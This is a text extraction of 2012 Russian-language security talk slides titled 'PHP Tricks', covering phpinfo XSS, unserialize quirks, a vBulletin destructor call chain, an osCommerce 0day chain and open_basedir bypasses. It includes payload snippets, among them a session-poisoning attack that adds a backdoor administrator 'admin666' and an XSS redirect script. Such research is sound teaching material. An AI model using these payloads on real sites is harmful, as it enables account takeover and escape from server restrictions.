СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
PHP Tricks
1. PHP tricks
Сергей «BlackFan» Бобров
Август, 2012 г.
2. Содержание
PHP Tricks
• XSS в phpinfo
• Unserialize tricks
• etc…
vBulletin XSS via RCE
osCommerce Online Merchant 0day
PHP open_basedir bypass
3. PHP trick #1 – XSS в phpinfo
Названия дополнительных модулей и заголовочная
информация подвержены XSS
4. PHP trick #2 – XSS в phpinfo
Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket
Transports и Stream Filters была создана отдельная функция
5. PHP trick #2 – XSS в phpinfo
Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket
Transports и Stream Filters была создана отдельная функция
6. PHP trick #3 – Баг парсера переменных
Неправильная замена символов в парсинге массивов в GET,
POST, COOKIE
7. PHP trick #3 – Баг парсера переменных
Неправильная замена символов в парсинге массивов в GET,
POST, COOKIE
GET /var_parser.php?aa%20aa=1 GET /var_parser.php?a[a%20aa=1
array(1) { array(1) {
["aa_aa"]=> string(1) "1" ["a_a aa"]=> string(1) "1"
} }
GET /var_parser.php?aa.aa=1 GET /var_parser.php?a[a.aa=1
array(1) { array(1) {
["aa_aa"]=> string(1) "1" ["a_a.aa"]=> string(1) "1"
} }
GET /var_parser.php?aa[aa=1 GET /var_parser.php?a[a[aa=1
array(1) { array(1) {
["aa_aa"]=> string(1) "1" ["a_a[aa"]=> string(1) "1"
} }
8. PHP tricks – Unserialize tricks
Сериализация — процесс перевода какой-либо структуры
данных в последовательность битов.
Обратной к операции сериализации является операция
десериализации — восстановление начального состояния
структуры данных из битовой последовательности.
Пример сериализованных данных в PHP
O:4:”test”:2:{s:4:”var1”;s:4:”test”;s:4:”var2”;b:1;}
10. PHP trick #5 – Unsirialize trick #2
Произвольный символ после строки
11. PHP trick #6 – Unsirialize trick #3
«Необязательность» количества переменных и
произвольные символы после них
12. PHP tricks – Unsirialize tricks
Объединим все нарушения синтаксиса в одну строку
13. PHP trick #7 – Unsirialize trick #4
Особенности выполнения деструктора
14. vBulletin XSS via RCE
vBulletin nulled <= 3.8.2 Arbitrary Function Execution
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
class vB_Shutdown {
…
function __destruct() { …
foreach ($this-
>shutdown AS $key => $funcname) {
$funcname();
Не будем останавливаться на вызове phpinfo()
15. vBulletin XSS via RCE
debug_print_backtrace
debug_print_backtrace prints a PHP backtrace. It prints the function calls,
included/required files and eval()ed stuff.
Пример вывода
#0 vB_Shutdown->__destruct()
#1 unserialize(a:1:{i:0;O:11:"vB_Shutdown":1:{s:8:"shutdown"; a:1:
{i:0;s:21:"debug_print_backtrace";}}}) called at
[/path/forumdisplay.php:179]
17. osCommerce Online Merchant 0day #1
osCommerce Online Merchant 2.3.*
is an Open Source online shop e-commerce solution that is available for free
with a feature rich set of out-of-the-box online shopping cart functionality
that blah-blah-blah...
Модуль «Who's Online»
• Просмотр информации об активных пользователях
• Просмотр содержимого их корзины
18. osCommerce Online Merchant 0day #1
Реализация просмотра корзины в модуле «Who's Online»
1. Берем сырые данные из сессии пользователя
2. Находим подстроку содержащую объект корзины
3. Десериализуем и обновляем массив _SESSION у администратора
(session_decode)
Аналогичные действия производим с
• customer_id
• сurrency
• customer_country_id
• customer_zone_id
21. osCommerce Online Merchant 0day #1
Эксплуатация
• «customer_id» в сессии идет после истории посещений
• Наличие в истории «customer_id|s» нарушит логику поиска переменной
• Поиск идет до следующей точки с запятой
session_decode('customer_id|s|foobar|s:7:"AWESOME";');
var_dump($_SESSION);
array(3) {
["customer_id"] => NULL
["s"] => NULL
["foobar"] => string(7) "AWESOME"
}
22. osCommerce Online Merchant 0day #2
Данные из сессии глобализуются с перезаписью
if (($session_started == true) &&
(PHP_VERSION >= 4.3) &&
function_exists('ini_get') &&
(ini_get('register_globals') == false) ) {
extract($_SESSION, EXTR_OVERWRITE+EXTR_REFS);
}
23. osCommerce Online Merchant 0day #3
Индексы GPC массивов не проходят функцию addslashes
Начиная с PHP 5.4.0 get_magic_quotes_gpc() всегда возвращает false и эта функция срабатывает
function do_magic_quotes_gpc(&$ar) {
…
while (list($key, $value) = each($ar)) {
if (is_array($ar[$key])) {
do_magic_quotes_gpc($ar[$key]);
} else {
$ar[$key] = addslashes($value);
}
24. osCommerce Online Merchant 0day #100500
Используем все перечисленные баги, а так же
• За счет перезаписи переменных сделаем XSS в messageToStack (стек
информационных сообщений отображаемых в админ-панеле)
• Подделаем запрос на добавление админа путем перезаписи массива
HTTP_POST_VARS
• Уберем «зараженную» через XSS
26. osCommerce Online Merchant 0day #100500
Логика эксплоита:
• Заражаем свою историю посещений
• После открытия администратором модуля «who’s online» происходит
заражение его сессии
• При следущем запросе администратору выдаст сообщение «Session
expired. Please relogin.»
• В iframe подгрузится «administrators.php?action=insert» и добавится
администратор admin666:admin666
• Через XSS перебрасываем админа на главную и очищаем идентификатор
с зараженной сессией
<script>setInterval(function(){document.cookie='osCAdminID=';
document.location='/';}, 2000)</script>
27. PHP open_basedir bypass
open_basedir
Ограничивает указанным деревом каталогов файлы, которые могут быть
открыты с помощью PHP, включая сам файл. Эта директива НЕ
подвержена влиянию безопасного режима.
http://www.php.net/manual/ru/ini.core.php#ini.open-basedir
28. PHP open_basedir bypass #0
Разная реакция функций на существующий и
несуществующий файл за пределами open_basedir
var_dump(realpath('../test1.txt'));
Warning: realpath() [function.realpath]: open_basedir restriction in effect.
False
var_dump(realpath('../test1_.txt'));
False
29. PHP open_basedir bypass #1
Разная реакция функций на существующий и
несуществующий файл за пределами open_basedir
$z = new ZipArchive();
$z->open(“openbd.zip”,ZIPARCHIVE::CREATE);
$z->addGlob(“/*”);
Warning: ZipArchive::addGlob() [ziparchive.addglob]: open_basedir
restriction in effect. File(/bin/) is not within the allowed path(s):
31. PHP open_basedir bypass #2
Логика проверки open_basedir
New DirectoryIterator(‘glob://../*’);
• Путь к файлу попадает в функцию проверки вместе с враппером
glob://../*
• Путь относительный, дописываем текущую директорию
/var/www/site/glob://../*
• Нормализуем путь
/var/www/site/*
• Файл лежит в разрешенной директории, пропускаем
32. PHP open_basedir bypass #3 (CVE-2012-3365)
SQLite In-Memory Databases
• An SQLite database is normally stored in a single ordinary disk file.
However, in certain circumstances, the database might be stored in
memory.
• The most common way to force an SQLite database to exist purely in
memory is to open the database using the special filename ":memory:".
For example: rc = sqlite3_open(":memory:", &db);
• When this is done, no disk file is opened. Instead, a new database is
created purely in memory.
http://www.sqlite.org/inmemorydb.html
33. PHP open_basedir bypass #3 (CVE-2012-3365)
Варианты использования
• :memory:
• file::memory:
• file:%3A%6D%65%6D%6F%72%79%3A
• file::memory:?cache=shared
• file:memdb1?mode=memory&cache=shared